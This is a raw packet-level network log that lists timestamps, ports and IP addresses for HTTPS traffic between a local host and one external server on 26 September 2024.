Sep 26, 2024 19:07:00.126105070 CEST	443	59789	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:00.126127005 CEST	443	59789	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:00.126188993 CEST	443	59789	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:00.126245975 CEST	59789	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:00.126281977 CEST	59789	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:00.126914024 CEST	59789	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:00.126930952 CEST	443	59789	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:00.129002094 CEST	59790	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:00.129024982 CEST	443	59790	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:00.129112959 CEST	59790	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:00.129406929 CEST	59790	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:00.129415989 CEST	443	59790	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:00.848189116 CEST	443	59790	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:00.848342896 CEST	59790	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:00.848871946 CEST	59790	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:00.848879099 CEST	443	59790	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:00.850826979 CEST	59790	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:00.850831985 CEST	443	59790	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:01.535160065 CEST	443	59790	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:01.535219908 CEST	443	59790	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:01.535238028 CEST	59790	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:01.535275936 CEST	59790	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:01.577408075 CEST	59790	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:01.577426910 CEST	443	59790	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:01.797780991 CEST	59791	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:01.797842979 CEST	443	59791	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:01.797910929 CEST	59791	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:01.798310995 CEST	59791	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:01.798327923 CEST	443	59791	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:02.477272034 CEST	443	59791	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:02.477421045 CEST	59791	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:02.477919102 CEST	59791	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:02.477936983 CEST	443	59791	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:02.479777098 CEST	59791	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:02.479783058 CEST	443	59791	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:02.479803085 CEST	59791	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:02.479815006 CEST	443	59791	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:02.782794952 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:02.782830000 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:02.782990932 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:02.783314943 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:02.783333063 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:03.274384022 CEST	443	59791	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:03.274458885 CEST	443	59791	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:03.274574041 CEST	59791	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:03.274677038 CEST	59791	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:03.276011944 CEST	59791	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:03.276036024 CEST	443	59791	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:03.529134989 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:03.529270887 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:03.530019045 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:03.530031919 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:03.532696009 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:03.532711029 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:03.965744972 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:03.965776920 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:03.965792894 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:03.965887070 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:03.965919018 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:03.965929031 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:03.965977907 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:03.997595072 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:03.997651100 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:03.997843981 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:03.997862101 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:03.997909069 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.093614101 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.093663931 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.093703032 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.093718052 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.093751907 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.093775034 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.098140001 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.098184109 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.098213911 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.098220110 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.098258972 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.135467052 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.135510921 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.135571957 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.135586023 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.135612965 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.135632992 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.189630032 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.189678907 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.189750910 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.189766884 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.189786911 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.189805031 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.210165977 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.210211039 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.210419893 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.210438967 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.210484028 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.213057041 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.213098049 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.213129044 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.213145018 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.213166952 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.213191986 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.226126909 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.226169109 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.226198912 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.226208925 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.226233959 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.226254940 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.237293959 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.237340927 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.237381935 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.237395048 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.237416029 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.237443924 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.255588055 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.255631924 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.255661964 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.255676031 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.255695105 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.255714893 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.290096045 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.290142059 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.290221930 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.290240049 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.290261984 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.290280104 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.298168898 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.298213959 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.298286915 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.298300982 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.298336029 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.298356056 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.304750919 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.304800034 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.304872036 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.304884911 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.304909945 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.304927111 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.322899103 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.322943926 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.322983980 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.323000908 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.323025942 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.323043108 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.332272053 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.332317114 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.332348108 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.332362890 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.332385063 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.332403898 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.337069988 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.337114096 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.337151051 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.337163925 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.337203979 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.337680101 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.337721109 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.337759018 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.337765932 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.337790966 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.337810040 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.340851068 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.340893984 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.340991020 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.341005087 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.341095924 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.351562023 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.351604939 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.351665020 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.351680040 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.351691008 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.351716042 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.381401062 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.381448030 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.381562948 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.381581068 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.381644964 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.388839960 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.388890982 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.388982058 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.388994932 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.389014959 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.389035940 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.410521984 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.410568953 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.410625935 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.410645962 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.410676003 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.410702944 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.423479080 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.423530102 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.423619986 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.423638105 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.423655033 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.423674107 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.434379101 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.434422016 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.434508085 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.434524059 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.434571981 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.434592009 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.436743975 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.436784983 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.436816931 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.436829090 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.436851978 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.436872959 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.439304113 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.439356089 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.439372063 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.439390898 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.439409018 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.439430952 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.443576097 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.443622112 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.443666935 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.443679094 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.443702936 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.443722010 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.473409891 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.473458052 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.473499060 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.473514080 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.473560095 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.473560095 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.479542017 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.479584932 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.479652882 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.479652882 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.479664087 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.479770899 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.509702921 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.509747028 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.509797096 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.509814978 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.509861946 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.509861946 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.516904116 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.516947031 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.517014980 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.517030001 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.517072916 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.517074108 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.523525000 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.523567915 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.523607016 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.523617983 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.523648977 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.523660898 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.525646925 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.525688887 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.525753021 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.525753021 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.525763035 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.525907993 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.532929897 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.532974005 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.533020020 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.533035040 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.533057928 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.533215046 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.556250095 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.556293964 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.556390047 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.556407928 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.556418896 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.556467056 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.565933943 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.565977097 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.566025972 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.566040993 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.566068888 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.566092968 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.585503101 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.585546970 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.585621119 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.585638046 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.585673094 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.585673094 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.597486019 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.597529888 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.597599983 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.597599983 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.597619057 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.597994089 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.604314089 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.604330063 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.604470968 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.604485989 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.604562998 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.611507893 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.611522913 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.611599922 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.611620903 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.611749887 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.613487959 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.613504887 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.613645077 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.613656998 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.613704920 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.624470949 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.624488115 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.624582052 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.624598026 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.624723911 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.654712915 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.654736042 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.654918909 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.654941082 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.655035973 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.667910099 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.667929888 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.668091059 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.668112040 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.668168068 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.696393013 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.696412086 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.696486950 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.696502924 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.696520090 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.696638107 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.698410988 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.698426962 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.698545933 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.698565960 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.698782921 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.718861103 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.718878984 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.719063044 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.719079971 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.719126940 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.720669985 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.720685959 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:04.720757961 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:04.720769882 CEST	443	59792	5.75.211.162	192.168.2.4
